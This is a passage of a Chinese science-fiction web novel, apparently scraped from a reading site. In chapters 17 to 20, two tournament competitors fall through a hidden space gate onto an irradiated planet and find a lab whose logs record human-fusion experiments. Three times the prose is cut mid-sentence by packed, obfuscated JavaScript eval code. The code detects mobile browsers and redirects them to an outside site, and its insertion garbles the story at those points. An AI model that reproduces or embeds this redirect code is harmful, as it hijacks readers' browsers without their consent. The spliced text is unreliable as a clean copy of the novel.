而且在下底层船舱前，她留了个心眼，把通往底层的唯一楼梯的安全门关上了，并且在里面进行了反锁。 安全门有整整三层，是为了防止底层船舱漏水建造的，密封性非常好，想要暴力打开，必会发出巨大的动静。 再加上刚才她故意把原本封住顶层的货梯送到了底层，如今连运货的电梯井这条路也被封死了。 那么来的人只能是在中间两层。 来人显然是从甲板登的船。而甲板是段迟凛在守着的。 颜惜相信以段迟凛的实力不至于发现不了来人。哪怕是退一万步来说，甲板视野良好，足够他发出求救信号。 来人是段迟凛故意放进来的。 他要干什么？颜惜皱起眉。在还在北部地区的时候，格鲁吉亚在发现北部地区的空间门崩塌以后就执着提出要去南部地区。颜惜质问段迟凛南部地区有什么的时候，他也没回答，只是跟颜惜说他自有安排。 这就是段迟凛的安排？颜惜有点看不懂他了。 突然脚下又传来几声冷兵器挥舞时刀锋破风的声音，而后是刺入皮肉的清脆声响，接着有什么液体滴落在了木地板上。这些声音都很细微，但没躲过颜惜的耳朵。随后另一个方向传来了一声更细微的响动，像是电火花爆开时的那种“刺啦”声。 颜惜辨认出了这个声音——是空间门启动时的声音。 这艘船上怎么会有空间门？！而且如果单单启动空间门，中间的传送通道没有开启，依旧无法进行跃迁。是谁在和谁打斗？又是谁趁乱打开了空间门？这两拨人到底想干什么？ 但此时已容不得颜惜多想。颜惜没再犹豫，抓着扶手从断裂的楼梯口直接一跃而下，落地时翻滚着卸了力，尽量没发出声音。 二层黑的吓人，伸手不见五指。 自从颜惜跳下来以后，就再也没有任何声音了。颜惜死死捏着手里的轻剑，剑柄上的螺纹和剑尾的鸢尾花浮雕都在她的手上印出了红痕。她一步一步贴着墙往里走，先往方才听到的有人打斗的方向探去。 没走几步，颜惜就闻到了浓重的血腥味。 颜惜感觉脚下踩到了什么液体，略有几分粘稠——是血。 她顺着地上的血迹往前走，发现血迹通往的方向就是方才她听到的有空间门启动的地方。 颜惜握紧了手里的轻剑，这是她如今唯一能掌控的东西。困住自己多年的答案似乎要呼之欲出。在这种昏暗到不能视物但又寂静到令人不安的环境里，颜惜只能听到自己的心跳，一声又一声。 一路都没遇到人，颜惜皱起了眉。 而就在颜惜即将步过转角时，异变突发，黑暗里突然伸出一只手，在她还没发出声音时死死捂住了她的口鼻，接着那人一个用力，将她整个人都拽进了旁边走廊的阴影里。 17. 意外失足 颜惜差点反手一剑捅了过去，好在就在差点出手的最后一秒，她嗅到了身后的人身上熟悉的气息——一点淡淡的白兰草味的洗发露的味道。 颜惜莫名其妙有点分神。 她想起她刚到中央星来的那年，她被带到了一个帝国某世家小孩的成人礼上，段迟凛难得参加，不知道是不是因为颜惜刚来那年小白花人设凹的太好，给了所有人一个文弱不善言辞的印象，因此长老院那群人要求她去主动和段迟凛搭话，给大家一个表现她自己的机会。 那颜惜可就来劲了。果然，她不负众望，一步上前，开始她恐怖如斯的社交。 “你身上喷了什么香水？”她一把拽住段迟凛的领子，揪到自己鼻尖闻了闻，“味道——好闻！” 那年段迟凛才十八岁，涉世未深，还没修炼出来他如今的那张不带表情的冷漠脸，颜惜想起来还是觉得惋惜，那时候的段迟凛可真好玩，他怎么就变成了现在这个样子。 “什么？”当年的段迟凛根本没预想到这种场面，想要后退，但发现颜惜的手劲大的吓人，他根本没法从她手里拯救自己的衣领，“不是——我没有！” 所有人都看了过来，无数目光钉在他们两个人身上，段迟凛社死当场。 颜惜越想越好笑，要不是段迟凛死死捂着她的嘴，她能在黑暗里笑出了声。 她往后踹了一脚段迟凛，示意她知道了。 黑暗里，段迟凛松开了颜惜。 “别往前走了。”他说，“前面有人。” “有谁？”颜惜根本不管他的死活，在所有重要时刻都充分发挥了刨根问底的精神，非要逼他把所有事情摊到台面上跟她说清楚。明明她单凭自己猜也猜的八九不离十。 段迟凛想，要能回到过去，他最想做的一定是抢在所有人前面把颜惜的那份基因检测报告藏起来，然后毁掉。 “格鲁吉亚快不行了。”段迟凛说，“估计马上她就要到系统判定为生命体征受威胁的情况了，等那时候会有联赛考官把我们所有人都带出考场。” 颜惜确认了，在船上的另外一批人是段迟凛放进来的。他自己不好对格鲁吉亚出手，于是故意放任其他队伍去找金家两姐弟的麻烦。这样一出以后，格鲁吉亚非伤即残。 可惜了，颜惜笑笑，就像格鲁吉亚和戴勒不知道她帮段迟凛谎报了精神力数值那样，段迟凛也不知道金家姐弟隐瞒了他们真实的精神力数值。 于是所有人的愿望都会落空。 “你不要这次联赛的成绩了？”颜惜看了眼赛事的数据统计系统，目前场上还有十三支队伍，“这样按均分来说，在所有队伍里连前一百都排不上吧？” “无所谓。”段迟凛说，“后面还有个人赛，权重更高。” “你还真是睚眦必报。”颜惜轻哼一声，“没想到你还挺记仇。” 光脑手环传来震动感。颜惜打开一看，发现是格林联赛系统发出来的邮件。 “监测到你的四号队友生命指征低于系统判定的最低值，因此全队将做出局处理。场上剩余十二支队伍。” “工作人员将在十分钟内到达指定位置，请参赛选手先为受伤队员进行急救。” 段迟凛显然也看到了，他松了手，走出了黑暗的拐角。 天黑了。 辐射赛场上方的卫星折射出来的光映在辐射内湖的湖面上，泛出粼粼波光，显得有几分诡异的蓝。二楼大船有廊道，居然还有隐隐的微光从湖面上透过来。颜惜走在段迟凛身后，低头看着地上蜿蜒的血迹。 血迹停在了前方。 她停下脚步。 颜惜看向坐在地上，用右手捂住腹部的格鲁吉亚。 她低着头，那一头平日里柔顺的栗色长发看起来很是零乱，遮住了她的脸，因此颜惜看不清她的神色，只微微露出她那白到发青的皮肤。白色的作战服被血染得看不出本来的颜色，地上还有一滩属于她的血液，一路弯弯扭扭地淌进黑暗里。 颜惜蹲了下来，撩开了她的头发。格鲁吉亚的唇看起来都失去了颜色，眼睛也闭着，只是捂住腹部的右手看起来还有些许力气。 “你还好吗？”颜惜问她。 与其同时，颜惜听到了上方传来的联赛工作人员的飞行器落到甲板上的声音，以及他们纷乱嘈杂的脚步声。 “颜惜，。”格鲁吉亚突然用很低的声音回答了她，“让让。” 电光火石间，格鲁吉亚原本垂在地上的左手抬了起来，手里出现了一把袖珍手枪，枪口对准了正在冷眼旁观的、站在走廊最外侧的段迟凛。 “等等！”颜惜想要夺走她手里的手枪。 但是来不及了。 手枪开枪后的的后坐力带起了格鲁吉亚的长发，在夜风里散开。 颜惜意识到了那把手枪是精神力武器——海莲娜曾经告诉过她，她的两位表亲格鲁吉亚和戴勒，隐瞒了他们真正的精神力数值——当附着着高达95点的精神力的手枪打出了那枚子弹，带着破空的风声，直接飞向了它的目标。 她的枪法很好，瞄准的是段迟凛的心脏——颜惜意识到一路上她都在伪装，她能一眼看出畸变人身上的精神力附着在皮肤上，也知道它们的弱点，怎么可能真的放任自己走到山穷水尽的地步。她也在演。海莲娜检测出来的结果是真的，格鲁吉亚，她的精神力真的是95点。 段迟凛毕竟在军校里训练了那么多年，反应很快，侧身迅速避开了那枚朝他心脏直奔而来的子弹。 那枚子弹打到了后面廊道的船板上。 带有精神力的子弹威力不可同日而语，再加上这艘船老旧腐朽，后边那一大块船板直接掀进了湖里。 格鲁吉亚眯了眯眼，手腕改换方向，迅速朝廊道的地板开了三枪。 整片走廊的地都塌陷了下去。 事发突然，段迟凛根本没有落脚点，偏偏他运气也烂，踩到了一块松掉的木板。没有了走廊扶手的支撑，段迟凛重心不稳，直接往身后的湖里仰面摔了下去。 颜惜发誓，她真的只是条件反射，动作没过脑子，她飞身上前，一把抓住了段迟凛的训练服的袖子。 颜惜的烂运气在这个时候发挥了它的威力，她脚下的木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376702|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板在此时不堪重负地断裂了。 顾闻远和季宴收到了淘汰消息，刚巧爬船舱二楼，看到的就是格鲁吉亚瘫倒在血泊里，而颜惜被段迟凛拽着掉下船廊的这一幕。 “颜惜！”季宴飞扑过来，想要抓住她的手，但她的指尖只来得及轻轻碰到颜惜的指尖，但是一触即离，最后她什么也没能抓到。 “颜惜！”顾闻远比季宴晚了一步，只能看着她掉下去的身影。 颜惜听到了他们两人的呼喊，但此时已经无济于事。她又要狠狠骂自己了，为什么偏偏要去拉段迟凛，不该管的人不该管的事就应该让它们自生自灭啊。 颜惜在和段迟凛一起摔进湖里的前一秒还在安慰自己，幸好这艘破船停在靠岸不远的地方，她还能很快地游回岸上，没对她造成什么损失。 下一秒，她就和段迟凛跌进了冰冷的，漆黑的，辐射内湖的湖水里。 辐射湖的湖水直接往她的嘴里灌，在湖水里她的长发像水藻一样往上飘，遮到了她的眼前，只是眼前的色泽似乎不是很对劲，有什么刺眼的强光照在她的眼皮上。颜惜顶着巨大的水压睁开眼，拨开了挡在她眼前的头发。 不对！水底下赫然泛出了冷冷的蓝光。 水里的声音很是飘渺，但是颜惜依旧听清了。 那是空间门开启的声音！ 颜惜当时在甲板上只辨认出了空间门启动的声音的大体位置，当时那个声音隐隐约约，她自动判断是在大船的底部位置，根本没想到那是在水底！ 南部地区辐射内湖的湖底，居然还藏着一个空间门！ 颜惜要骂星际脏话了。 她也没工夫管段迟凛在哪儿了，张开双手，拼命蹬水，想要往上浮，想要远离那扇空间门。 但是她低估了空间门的巨大吸力。湖上出现了巨大的漩涡，颜惜被巨大的吸力丢进了空间门里。 透不过气的湖水里，就在被卷进空间门的前一秒里，颜惜感觉到段迟凛拽住了她的手。 这次穿梭空间门的眩晕感来的更剧烈。中途还有一阵剧烈的震荡，似乎是什么爆炸的声音，但最后一切都归于平静。 颜惜终于落到了地上。 干燥的热风吹过她的脸，同时带来了一丝细微的灼烧感。 颜惜顾不得别的，趴在地上捂着胸口疯狂咳嗽，一边咳一边吐那该死的污染内湖的水，直到把肺里的水全都咳得差不多了，她这才直起腰来。作战服还在滴滴答答地往下滴水，湿透了的头发黏在脸颊边，难受的要命。颜惜伸手，把头发全部卷起来，然后拧干。 她撑着站了起来。四面环顾，一片空寂。 土地是焦黑的，黑云很低，缀在天边，似乎下一秒就要冲她压过来，将她碾碎。远处隐隐约约有着建筑物的虚幻的影子，还有不知名的生物的嘶吼声，回荡在空寂无人的夜里。 裸露在外边的皮肤酥酥麻麻的，颜惜抬起手一看，皮肤都有些不正常的红。她这才后知后觉—— 她脚下所处的位置，是辐射星系里，距离爆炸星系最近、污染程度最高、辐射最强的，辐射主星。 18. 信号基站 海莲娜穿过帝国工业大学研究所长长的走廊。 天色已经晚了下来。廊灯在一瞬间亮了起来。海莲娜一路往前，抱着怀里的文件，盯着地上自己的影子在行走过程中被灯光不断拉长又变短。 她停在了走道尽头的那间会议室，然后拉开了门。 里面正在开组会，大约二十几个人围成了半圆，年级从大一新生到博士后都有。海莲娜走到自己的座位上坐下，瞥了眼她旁边空着的戴勒的座位。 坐在中间的女人带着金丝掐边眼镜，眼镜末尾的链条垂在肩上，她穿着白大褂，内衬是浅灰色高领毛衣，黑发柔顺的披散在身后，灰色的眼睛藏在镜片之后，让她看起来总是没什么脾气的样子。 “海莲娜？”她看了过来，“你来了？” “是的，抱歉导师，我来晚了。”海莲娜回答道。 海莲娜和戴勒的导师叫池絮安，是帝国工业大学研究院特聘的高级院士。她早年间是精神力研究的实践派，据说还和顾嘉当过一段时间的同学。可惜在这之后她的精神力受损，于是退到幕后做上了理论研究，可以说是目前站在帝国精神力研究最前沿的导师。 海莲娜当初是被硬塞进帝国工业大学来的，基础学科的成绩次次垫底，按理来说和这种金牌导师搭不上任何的关系。但不知为何，池絮安在看了她的大一分流考试时的精神力学科的小论文后，破格把她招进了自己的研究组里。 “我帮戴勒去办了请假手续，他也被调剂到实践组了，这几天还在比格林联赛，所以我来晚了点。”海莲娜解释道。 池絮安点点头，示意她知道了。 “柯伦。”池絮安翻着光脑上的研究计划书，叫了一个人来讨论他的题目“上学期你的选题被组内□□评为最有价值研究选题，探讨的是有关精神力到达一定上限是否能脱离精神力接口直接产生交互反应。” “是的，导师。”柯伦站起来回答道，“我的方案还有很多不足之处，但是我认为这种交互理论上是可能会存在的，我只是从理论的角度对其进行了探讨。我认为，精神力到达95点时，会到达一个临界值。超过这个临界值，精神力可以不需要借助精神力接口向外释放，简而言之，就是精神力可以和任何接触到的物品发生相互作用。” “但具体作用是什么我也不清楚。”柯伦翻阅着他的笔记，“毕竟帝国已经很久没有出现精神力数值达到95以上的人了。上次出现的拥有95点精神力数值的那两位研究员，也在那次尘寰星系——也就是现在的辐射星系的大爆炸里丧生。” 池絮安点点头，环视了一圈坐在讲台之下的学生们，目光在坐在角落里记着笔记的海莲娜身上停顿了片刻。 “你觉得呢？海莲娜？”池絮安问她。 “我吗？”海莲娜抬头，“我研究的课题是人与人之间的精神力是否能产生联结，从而成为一个新的精神力整体，提高精神力数值。” 池絮安依旧点了点头。 组会持续了大概一小时，临下课前海莲娜还给戴勒整理了一份笔记，发到了他的邮箱里。 海莲娜将纸质的笔记与电子光屏都收到了自己的包里，挎上包离开了教室。就是这样一个平常的夜晚，在她刚要走出校门时，她的光脑忽然传来一阵急促的震动。 海莲娜皱着眉打开了光脑，上面是一个巨大的红色警示弹窗—— “您的紧急联系人颜惜女士处于无法联络地区，请迅速确认她的位置！” 马上又有另一条弹窗弹了出来，是同样醒目的红色—— “已将您设置为紧急联系人的颜惜女士目前处于信号未覆盖地区，请前往确认对方是否安全！” 一阵头晕目眩。海莲娜抓着光脑的手不自觉地微微颤抖。 海莲娜从来没有那么无措过。她失去过很多东西，尝遍了无能为力的苦涩滋味，但是 恍惚间，海莲娜想起那年，也是这样一个平常的夜晚，颜惜一把抓过她的光脑，不由分说地给她和自己互相绑定了紧急联系人。 她笑嘻嘻地把额头贴上来，两人的额心抵在一起，海莲娜被迫对上了她掩藏在笑意下充满怒火与愤恨的眼睛。 她说，海莲娜，你只能相信我，只有我可以帮你复仇，所以你得倾尽全力地帮我，全心全意地相信我。 而后她又轻轻地补了一句，而我，我也只有你了。你是我所有环节里最重要的证人，我不会让你死掉的。 海莲娜额角都冒出了冷汗。 颜惜出事肯定是在格林联赛里。她能猜到她的那两位表姐表哥要对段迟凛下死手，颜惜肯定是被波及的——但是怎么办？理智告诉她像颜惜那样的祸害肯定给自己留了很多条退路，但是…… 她听见自己的牙齿都在发抖，浑身血液似乎都要逆流，明明中央星有着最完美的温度调控体系，四季如春，但海莲娜此时还是觉得好冷。 怎么办？ 她听到自己双膝一软，膝盖重重磕到了地上的声音。下一秒会是什么？她会跌倒吗？会晕过去吗？颜惜怎么办？她要是真的死了……那她怎么办？ 而后有一双有力的手从身后拉住了她。 海莲娜回过头，模糊的泪眼里，其实大多数东西都看不清了。只看得出那位女生有一头棕色的长卷发，以及一双同样是棕色的眼睛。 她低下头来，询问海莲娜：“你还好吗？” *** “你还好吗？”颜惜缓了过神，爬了起来，终于在不远处的沙堆边找到了人。 颜惜站在原地打量了一下，这里压根没有可以传送回去的空间门，那看来南部污染湖湖底的空间门是单向的，只能从赛场传送到主星。颜惜看了看光脑，一格信号都没有，连向外界紧急发送他们现在在的位置都做不到。想要回去，还得想别的办法。 溺水的不适感差不多都消失了，她现在甚至有空闲功夫去关心趴在不远处的段迟凛。 “没死吧？”段迟凛没动静，吓得颜惜上前两步想要把他翻过来。 她拽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376703|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住段迟凛的领子，想要把他翻过身来，不小心揪得太过用力，直接勒住了段迟凛的脖子。 段迟凛在快要窒息的感觉中醒来，睁开眼睛第一眼看见的是颜惜，他很痛苦地又闭上了眼。 “醒醒。”颜惜拍了拍他的脸，“我看到你醒了。” “你的光脑还有没有信号？”颜惜问他，“这里看起来因为辐射波的影响，信号卫星都不管用了。” “你的光脑没有信号，难道我的就能有了吗？”段迟凛检查了一下他的光脑后回答道。 “我还以为你身上带着有什么皇室特有的专利技术道具呢，毕竟你这么金贵。”颜惜没听到自己想要的答案，小发雷霆，阴阳怪气了段迟凛一句，以解被连累之恨。 “你皮肤怎么了？”段迟凛看向颜惜泛红的手。 “啊？”他不问颜惜还真没有感觉到，她用手背搭了搭自己的额头，感受到了一丝刺痛。 “辐射太强了吧。”她满不在乎地说。 段迟凛沉默了一下。 他解开腕间的手环，而后环在了颜惜的手腕上。“嗒”的一声，他扣上了搭扣。 “这是什么？”颜惜抬起手晃了晃，手环上还带着段迟凛的体温。带上了这玩意儿以后，颜惜感觉周身似乎有着一层屏障，大幅度地阻隔了辐射主星上的强烈的辐射。 “你说的‘皇室特有的专利技术道具’。”段迟凛把她内涵的话原样返还，“带好了。” “那你呢？”颜惜问他。“你不需要？” “我自己有办法。”段迟凛说。 “用精神力覆盖在皮肤表层来抵御辐射？和那群畸变人一样？”颜惜戏谑地问。 段迟凛回头，用他那阴沉沉的眼神直视着颜惜，颜惜也是半分不让，死死盯了回去。 “你知道？”他问。 “知道什么？”颜惜问，“知道你精神力数值其实在95点以上，之前一直都瞒着所有人。还是知道之前碰到的畸变人，其实就是通过北部山区那扇打开的空间门里逃出来的？还是说，我怎么会知道精神力一个很重要的临界值是95，这个临界值之上，精神力可以不依赖精神力接口，直接使用？” 颜惜笑笑，不等段迟凛问她如何知道的，先发制人：“我猜的。” 段迟凛一口气上不来下不去。 “你之前不是来过辐射主星吗？”颜惜迅速地转换了话题，“别纠结这纠结那了，先考虑考虑怎么从已经封锁了的辐射主星出去。辐射主星封锁了那么多年，没人能想到我们在这里，现在要么找到信号基站发送位置等救援，要么找到个能从这里出去的空间门，不然我们就困死在这里了。” “你以前来过辐射星，你比我清楚。”颜惜肘了肘段迟凛，“想想办法。” 段迟凛用手撑地，站了起来。 他看向远处模糊不清的高楼的影子。 “走吧，”他说，“如果我没记错的话。” “辐射主星，以前是有一个信号基站的。” 19. 幻机系统 “我上次来这里的时候，这整个星系还被叫做尘寰星系。”段迟凛拿着光脑上离线可用的指南针，对着灰蒙蒙的远处辨认方向。 “嗯？来干嘛？”颜惜从口袋里往外掏自己在之前赛场船舱里找到的补给。颜惜觉得自己真是天才，要不是她把这些东西先揣自己怀里，她和段迟凛还没找到信号就会先饿死。 “这里以前是医药企业和其他一些做生物研究的实验室都喜欢入驻的大星，因为这里本身环境特殊，大气稀薄，海拔差大，但物种多样性却没有被破坏，可以检验在极端环境下的特殊反应。我上次来是被带着参加一个峰会。”段迟凛回答道。 “那你在这个时候就见过那些畸变人？”颜惜抓到了重点。 段迟凛摇了摇头，半晌以后他才缓缓说道：“后来星环爆炸，帝国派出过小队最后一次检查有没有活人还留在主星上。” “我偷偷跟来了。” 那年段迟凛刚好十六岁，他站在刚刚发生爆炸的焦土旁，看着旁边一栋又一栋银白色的实验室大楼被搬空。这里原来是一整个化工园区，所有大楼都被统一装饰成了一个样子，布局也相似，只有楼顶上的投影的数字彰显着它们的不同。 “咚——咚——咚——” 段迟凛精神力很高，同时五感也敏锐。四周的大楼里没有任何一丝声响，唯有一栋楼里面隐隐传出的声响吸引了他的注意力。可是他环顾四周，周遭没有其他任何一个人察觉到里面的异常。 段迟凛趁所有人不注意，绕开了大楼门口的虹膜扫描门禁，从斜侧方的露天楼道里翻进了二楼实验室。 他在那里看到了此生难忘的景象——实验室中央摆着一个巨大的培养皿，上面连接着巨大的红绿二色的插管，插管通向了实验室的深处。而在那培养皿里面蜷缩着四个人，这四个人以一种诡异的姿态被强行融合到了一起，血色染红了它们周遭的培养液，此时此刻，那个非人生物正在奋力用头撞击着那个巨大培养皿的透明罩子。 “咚——咚——咚——” “然后我就跑了回来。那是我第一次见到那样的畸变人。”段迟凛说，“当时负责收尾的是星云小队，他们队长爱德华兹上尉看到了我，责令手下把我看牢。后来我就再也没来过这里了。” “十年辐射绝对不可能把人改造成这个鬼样子，”颜惜说，“果然，他们是实验室产物。” “你还记得那个地方吗？”颜惜说，“我想进去看看。” “你想干什么？”段迟凛皱起眉。“你别……” “你都说了那里有工业园区和实验室，信号基站会建在哪里？当然是园区旁边啊！”颜惜堵住他的话，“顺路的事，赶紧的，带路。” *** 颜惜和段迟凛两人落地的地方似乎是这颗星球的边陲地区。两人一路往主城区走去，周遭的建筑也逐渐从低矮的平房升高到四五层的居民楼，最后变成了拔地而起的几十层的高楼。 沿路所有建筑基本都栖息着一两只畸变生物，例如长着两个头的毛色绚丽的宠物鹦鹉、腿长的离谱的兔子，以及看起来像是得了白化病的肉鸡。 不过这些畸变生物似乎还保留着以前的习性，攻击性都不太强，偶尔有那么两三只拦路的失去理智的畸变生物，颜惜也都能轻松解决。 段迟凛认路的能力还算不错，两人走了大约三小时，终于走到了那片位于市中心的实验园区。 不知道是不是房产开发商大发良心，这一整片园区的大楼看起来并没有被辐射侵袭，外观连一点腐朽的痕迹都没有，依旧光洁如新，外表在日光下泛着银白色的光泽。 颜惜跟着段迟凛走到那幢曾经放置着畸变人培养皿的大楼。 那栋大楼门口光洁如新，颜惜透过搭载着虚拟光屏技术的莹蓝色光屏大门看向里边。正前方就有着一个人脸或瞳孔认证，颜惜仔细观察了一番，发现了旁边的警报器——其实这个款式放到现在都还用于珍贵物品的储存，但凡有什么不属于这里的人闯进了这里，就会迅速触发击杀指令，光屏迅速从虚拟转化成实体，像切面包那样把闯入者切碎。 但这种光门从里面出去并不会触发警报。门口有着一个被撞碎了一半的通行入口栏杆，颜惜猜测那些畸变人就是从这里逃了出去。 正门行不通，颜惜跟着段迟凛走了他以前来过的背面。颜惜抬头，只见背后的二楼倒是有着一个小窗，只不过大概有五米那么高。 颜惜踩在段迟凛的肩头，又将自己的剑钉进墙体里当下一个落脚点，这才成功借力跳到了窗台上。 窗户没锁，颜惜往旁边推开了一丝缝隙。一点光透了进去，照亮了昏暗的、粉尘遍天的实验室。 唯一一丝光线打在了中央那个巨大的培养皿上，这上面有着一个巨大的缺口，透明展示罩被打碎了，绿色的营养液也流的满地都是，哪怕已经风干了，颜惜走在地上都还是感觉黏黏腻腻的。而那个缺口上还残存着一些红褐色的液体。 段迟凛描述中的那个被困在培养皿里的畸变人不见了。 颜惜跳了下去。 她走到那个裂口附近，用手捻了捻裂口处的细碎渣子。她在长老院里有个朋友是学做精神力专属武器的，专精研究高端材料，颜惜陪她去过一两次材料市场，因此认出了培养皿的透明罩材料是帝国目前透明材料里报价最高、坚硬程度也最高的白云晶。 这么大一块白云晶，如果没被打碎，哪怕是二手卖出去，也能卖上千万的好价格。 颜惜好痛心。 段迟凛紧随其后也翻进了窗台，看到眼前被打碎了的培养皿后愣了愣。 “我们在赛场上遇到的那个畸变人是你当时在这里看到的那个吗？”颜惜问。 段迟凛摇了摇头。 “赛场上的那个比这个精神力弱了很多。如果当时那个畸变人打碎了这个培养皿，”段迟凛缓缓说道，“那当时的我必死无疑。换成现在的我，一个人也不能处理那个畸变人。” 颜惜皱了皱眉：“那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379281|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 畸变人精神力比你还强？” 她目光顺着那根大概是传送培养液和监测数据的一堆管道一路挪移，最后看向管道末端通向的那台巨大处理器。 那台处理器是黑屏状态，有一个半人那么高。颜惜几步爬上处理器前边的方便科研人员上下的台阶，尝试着激活这台处理器。 “等等！”段迟凛想要拦一下颜惜，“我们还不清楚这间实验室是干什么的！先……” 他话音未落，颜惜已经把显示器操作台上所有能按的外置按钮全按了一遍。 那台显示器还真被颜惜激活了，屏幕亮起，把颜惜的脸映得雪白。与此同时，整间实验室的灯光全部亮了起来，毫无瑕疵的白色墙壁与照射着惨白灯光的头顶灯，像是要照得人无所遁形。 显示器上倒是老式的，十几年前的实验室里几乎都配备着这个款式，操作偏向于键盘傻瓜模式，还没有什么花里胡哨的虚拟光屏和意念操作。 显示屏上弹出一个验证，颜惜还以为是和门口那种没认证成功就会把验证者宰掉的暴力血腥认证模式，防备了半天才发现居然只是简单的密码验证模式，甚至连面部识别都不需要。 颜惜想了想，敲下了一串密钥。 果然如她所料，密码锁很快就解开了，上面弹出了一条登录成功的消息。 “晚上好，莱塔诺博士，欢迎您以管理员身份使用幻机系统。” 颜惜顿了一顿。 幻机系统是由幻机科技研发的，适配于当时几乎所有机型的科技系统，如今也同样适用于目前最流行的光脑产品，占据了虚拟世界的半壁江山。 幻机系统的管理员拥有查看系统所有登录信息的权限，于是颜惜先切到后台的登录日志里看了一眼。这台机子似乎只有三个人拥有登录权限，一位就是莱塔诺，还有一位叫哈鲁，还有一个人只使用了默认昵称，并没有实名登录。两人的上次登录时间都在十一年前，而且几乎都是交替登录，似乎是在轮班。而最后一次的登录记录是那个不明身份的人，系统记录了他将整个记录全部进行了格式化。 主页上一片空白，显然除了实验记录以外其他的记录也在整个实验室搬离前被删除干净了。 颜惜叹了口气。 不过好在删除的人似乎不知道，或者说不认为这台显示器能被再次打开，并没有将只有管理员能打开的后台备份也删除。颜惜她切回了后台，发现所有数据和资料全部被分类地整整齐齐，备份在这个系统里。 颜惜先看了实验记录。上面一水的数据，红绿交替，无数个箭头和指标看得颜惜头晕。颜惜回头看了眼段迟凛，只见开灯后他一直在实验室另一侧不知道在捣鼓什么，没有看向她这边。 颜惜趁段迟凛没回头，迅速地拆出光脑里的一个小芯片，插在了显示器的传输接口处，同时把所有显示器后台的备份全部拖到了数据传输通道里。 立刻有一个弹窗弹了出来，“目前传输已完成0%，预计完成传输时间2小时。” 20. 实验日志 实验记录除了数据和实验增变量以外，还有许多照片。 这位莱塔诺博士似乎对自己的实验品很是满意，每天都会给那个在培养皿里的畸变人记录并拍照留念。 颜惜往下一划拉，发现最早的照片到最后那张时间跨度居然有整整三年。 照片记录了这些畸变人的产生过程：一开始只是一个看起来很健壮的女人，紧闭着双眼，浮在巨大培养皿里。隔了三个月，那个女人的右手不见了，取而代之的是被融合到了她右手上的一个没有了左手的小女孩。再过了半年，小女孩的右手也不见了，一个同样没有左手的中年男人被接了上来。等到那年的年底，最后一个瘦弱的中年女人被接到了这三个人上。 颜惜看得毛骨悚然。 最后一个女人被嫁接完毕的照片下面，有别于其他一丝不苟的数据记录和实验品观察，莱塔诺博士难得的在下面的日志里写了些带上了情绪的话。 “精神力链接终于成功了！通过打通四个人的经络，再用人造肌肉纤维和神经脉络将他们连接到一起，他们终于成为了一个整体，他们之间的隔阂消失了！而这个整体所测量出来的精神力数值是96点！精神力终于产生了质的变化，比原先精神力最高的三号实验体还要整整提高了5个点！” “但是我真的感到惶恐。巨大的不安总是笼罩在这个实验室，笼罩在我的头顶。我真的没有打开潘多拉的魔盒吗？即便他们答应过我，永远不会将这项技术用于牟利，而我所做的是人类从前闻所未闻的研究，我也总是觉得……” “特别是二号实验体——天，她才十一岁，虽然他们告诉我这些实验体都是自愿的，但为什么我总觉得她的神情在痛苦。她和我的莉薇差不多大！我见到她就会不自觉地想起了莉薇。莉薇昨天还对我发脾气，问我在为什么总是在工作，总是忽视她，难道工作还能比她这个女儿更重要吗？可是莉薇……我总觉得我好像做错了什么……若我如今做的都是错误的，那我还能够回头吗？” “道德与科学的边界又是什么……不……” “人的贪欲无穷无尽，我不认为有人能够免俗。” 这段记录到此戛然而止。 后面就再也没有出现那样带有浓厚的情绪色彩的话。 记录直到那场卫星爆炸前三个月就停滞了，颜惜再翻了翻，发现另一个研究员哈维也没有再记录过。 此时弹窗显示所有项目的传输完成已达100%。 “颜惜！”段迟凛突然喊她。 颜惜迅速地把芯片安装回自己的光脑里，又飞速地删除了自己刚才的登入记录和浏览记录，恢复原样后切断了显示器的电源。所幸这台显示器款式虽老，但依旧配备了防窥模式，因此站在远处的段迟凛看不到显示器上的内容。 “什么事？”颜惜转回头去问段迟凛，没等他说话先发制人，“我在试密码呢！” “别试了。”段迟凛沉声说，“快过来。” 颜惜跳下台阶，绕过带着血渍的巨大培养皿，走到段迟凛那边。 “怎么了？”颜惜问。眼前是一模一样的白墙，和周遭没有任何区别。 段迟凛叩了叩前面的墙壁，又走到另一边墙那里叩了叩，一边发出闷响，而另一边则声音清脆。 “背后有暗门。”他说罢，直接在那侧墙上一推，那扇门直接被翻转了过来。 颜惜叹为观止。这暗门居然是活门，但接缝处做得如此精致，肉眼根本看不出来缝隙。 暗门里边没有一丝灯光。只有外面实验室里透过来的光亮，勉强照亮了一小块地方。 